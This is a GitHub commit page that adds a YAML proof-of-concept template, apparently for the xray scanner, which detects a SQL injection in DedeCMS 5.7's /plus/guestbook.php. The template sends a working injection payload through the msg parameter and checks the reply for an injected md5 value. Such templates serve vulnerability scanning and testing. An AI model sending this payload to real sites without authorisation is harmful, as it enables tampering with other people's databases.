Skip to content

Commit

Permalink
Create dedecms-guestbook-sqli.yml (chaitin#707)
Browse files Browse the repository at this point in the history
  • Loading branch information
harris2015 authored Mar 11, 2020
1 parent 682a881 commit 771a1d3
Showing 1 changed file with 26 additions and 0 deletions.
26 changes: 26 additions & 0 deletions pocs/dedecms-guestbook-sqli.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
name: poc-yaml-dedecms-guestbook-sqli
set:
r: randomInt(800000000, 1000000000)
rules:
- method: GET
path: /plus/guestbook.php
follow_redirects: true
expression: |
response.status == 200
search: action=admin&id=(?P<articleid>\d{1,20})
- method: GET
path: /plus/guestbook.php?action=admin&job=editok&id={{articleid}}&msg=',msg=@`'`,msg=(selecT md5({{r}})),email='
follow_redirects: true
expression: |
response.status == 200
- method: GET
path: /plus/guestbook.php
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
detail:
author: harris2015(https://github.com/harris2015)
Affected Version: "5.7"
links:
- https://blog.csdn.net/god_7z1/article/details/8180454

0 comments on commit 771a1d3

Please sign in to comment.